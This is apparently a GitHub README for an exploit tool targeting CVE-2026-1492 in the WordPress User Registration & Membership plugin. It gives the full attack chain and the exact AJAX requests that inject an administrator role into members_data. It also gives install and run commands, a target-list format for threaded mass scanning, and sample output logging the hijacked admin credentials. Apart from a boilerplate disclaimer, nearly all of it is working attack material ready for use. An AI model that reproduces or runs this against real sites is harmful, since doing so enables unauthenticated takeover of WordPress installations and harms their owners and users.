CVE-2026-1492

User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation via Membership Registration

🔴 Vulnerability Overview

CVE-2026-1492 — Unauthenticated Privilege Escalation via Membership Registration

Description:
The User Registration & Membership plugin for WordPress is vulnerable to Unauthenticated Privilege Escalation in all versions up to and including 5.1.2. The vulnerability stems from the user_registration_membership_register_member AJAX handler accepting a user-supplied role value during the membership registration process without enforcing any server-side allowlist or capability check. A completely unauthenticated remote attacker can craft a multi-step AJAX request chain — first registering a new user account, then submitting a malicious register_member call with "role": "administrator" injected into the members_data JSON payload — to silently create a fully privileged WordPress Administrator account. This results in complete compromise of the affected WordPress installation with zero user interaction required.

🛠️ Tool Description

This is a Proof-of-Concept (PoC) exploitation script implementing a full state-aware attack chain against WordPress sites running a vulnerable version of the User Registration & Membership plugin. The tool performs intelligent multi-stage exploitation with automatic discovery, plan extraction, nonce harvesting, dual-flow registration, role injection, and admin verification.

🔗 Full Attack Chain

[Discovery Phase]
  GET /membership-pricing/  →  Extract membership plan IDs
  GET /registration/        →  Extract form fields, nonces, AJAX params

        ↓

[Registration Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  → Register new user account

        ↓

[Role Injection Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator", "membership":"<id>", ...}
  → Inject administrator role into newly created account

        ↓

[Admin Verification Phase]
  GET /wp-admin/  →  Check for admin dashboard indicators
  GET /wp-admin/plugin-install.php  →  Confirm plugin-install access

        ↓

[Fallback Override — Flow B]
  If Flow A admin check fails → repeat with fresh username/email

        ↓

[Write to Nx_admin.txt]
  Format: https://target.com/wp-login.php user:<u> pass:<p>

📋 Requirements

System Requirements

Python 3.8 or higher
Linux / Windows / macOS

Python Dependencies

pip install requests urllib3 rich

Or via requirements file:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 Installation

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-1492.py

⚙️ Usage

Basic Run

python3 CVE-2026-1492.py

The tool uses a fully interactive terminal interface powered by Rich. All parameters are prompted at runtime.

🗂️ Target List Format

Create a plain text file (default: list.txt) with one target per line:

https://target1.com
https://target2.com
http://target3.com/wordpress

🖥️ Interactive Prompts

Targets file [list.txt]: list.txt

Credentials:
  - Username prefix: random number is added per site (fresh user per target/plan/flow)
  - Email: if left empty, it will be built from the username automatically
  - Password: fixed for all sites

Username prefix (optional): Nxploited
Email (optional): 
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10

🔬 Exploitation Deep Dive

Step 1 — Discovery

The tool automatically discovers and parses:

Step 2 — Registration AJAX

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>

Step 3 — Role Injection AJAX (The Vulnerable Call)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>

⚠️ The server accepts the role field from the client without any allowlist validation — this is the root cause of CVE-2026-1492.

Step 4 — Admin Verification

The tool opens a fresh session, logs in with the newly created credentials, and probes:

📁 Output Files

�� Admin Output Format

https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999

🖥️ Terminal Output Sample

╔══════════════════════════════════════════════════════════════════════╗
║   CVE-2026-1492  |  User Registration & Membership — Admin PoC      ║
║   By: Nxploited  |  GitHub: github.com/Nxploited  |  @KNxploited    ║
╚══════════════════════════════════════════════════════════════════════╝

[INFO]   https://target.com
[OK]     https://target.com  |  REG-A-OK  user:Nxploited_A_482910 mem:3
[OK]     https://target.com  |  MEM-A-OK  membership A (role=administrator payload) sent
[OK]     https://target.com  |  ADMIN-A   user:Nxploited_A_482910 pass:Nx_12999 mem:3

┌─────────────────────────────��───────────────────────────────────────────────┐
│  Target                  │  Status           │  Note                        │
├─────────────────────────────────────────────────────────────────────────────┤
│  https://target.com      │  ✅ ADMIN-A       │  user:Nxploited_A_482910 ... │
│  https://target2.com     │  MEM-B-FAIL       │  membership not configured   │
│  https://target3.com     │  DEAD             │  connection error            │
└─────────────────────────────────────────────────────────────────────────────┘

📊 Status Codes Reference

📡 Contact & Author

By: Nxploited (Khaled Alenazi)

⚠️ Legal Disclaimer

THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED SECURITY RESEARCH PURPOSES ONLY.

The author, Nxploited (Khaled Alenazi), and all contributors to this project do not condone, support, or take any responsibility for the misuse of this tool or any damage caused by the use of this software against systems for which you do not have explicit written authorization.

✅ Permitted: Use on systems you own or have been granted explicit written permission to test.

❌ Prohibited: Use against any systems without prior explicit written authorization from the system owner.

Unauthorized access to computer systems is illegal and punishable under applicable laws including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (CMA), and equivalent legislation worldwide.

By using this tool, you accept sole and full responsibility for your actions and confirm that you have the legal authority to test the targeted systems.

The author assumes no liability whatsoever for any direct, indirect, incidental, or consequential damages arising from the use or misuse of this software.

CVE ID	CVE-2026-1492
Severity	CRITICAL — CVSS v3.1 Score: 9.8
Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
CNA	Wordfence
Affected Software	User Registration & Membership — Custom Registration Form Builder, Custom Login Form, User Profile, Content Restriction & Membership Plugin for WordPress
Affected Versions	All versions up to and including 5.1.2
Vulnerability Type	Improper Privilege Management — Unauthenticated Administrator Account Creation
Authentication Required	None
CWE	CWE-269: Improper Privilege Management

`/membership-pricing/`	Membership plan IDs, registration page links
`/registration/`	Form fields, nonces, AJAX URLs, membership radio inputs
`user_registration_params` JS object	`ajax_url`, `security` nonce, form metadata
`ur_membership_frontend_localized_data`	Membership-specific nonce, AJAX endpoint

`/wp-admin/`	`adminmenu`, `wp-admin-bar`, `manage_options`
`/wp-admin/users.php`	`users.php`
`/wp-admin/plugin-install.php`	`upload-plugin`, `plugin-install-tab`

`Nx_admin.txt`	✅ Confirmed administrator accounts
`membership_success_log.txt`	All successful membership role-injection calls
`discovery_log.txt`	Full discovery data per target (nonces, IDs, fields)
`registration_log.txt`	All registration AJAX requests and responses
`membership_log.txt`	All membership AJAX requests and responses
`admin_check_log.txt`	Login attempts and admin verification results

`ADMIN-A` / `ADMIN-B`	🟢 Green	Administrator confirmed — Flow A or B
`ADMIN-A-OVERRIDE`	🟢 Green	Admin confirmed after override attempt
`REG-A-FAIL` / `REG-B-FAIL`	🟡 Yellow	Registration AJAX returned failure
`MEM-A-FAIL` / `MEM-B-FAIL`	🟣 Magenta	Membership role-injection call failed
`REG-PENDING-A/B`	⚫ Dark	Account requires email verification or admin approval
`NO-MEM-ID`	⚫ Dark	Membership plan ID not found on target
`NO-UR-NONCE`	⚫ Dark	Registration nonce not extractable
`NO-ADMIN`	⚫ Dark	Membership OK but admin access not confirmed
`TIMEOUT`	⚫ Dark	HTTP timeout
`DEAD`	⚫ Dark	Connection error — site unreachable
`ERROR`	🔴 Red	Unexpected exception

CVE-2026-1492

Most Popular

CVE-2026-1492

🔴 Vulnerability Overview

CVE-2026-1492 — Unauthenticated Privilege Escalation via Membership Registration

🛠️ Tool Description

🔗 Full Attack Chain

📋 Requirements

System Requirements

Python Dependencies

🚀 Installation

⚙️ Usage

Basic Run

🗂️ Target List Format

🖥️ Interactive Prompts

🔬 Exploitation Deep Dive

Step 1 — Discovery

Step 2 — Registration AJAX

Step 3 — Role Injection AJAX (The Vulnerable Call)

Step 4 — Admin Verification

📁 Output Files

��� Admin Output Format

🖥️ Terminal Output Sample

📊 Status Codes Reference

📡 Contact & Author

⚠️ Legal Disclaimer

�� Admin Output Format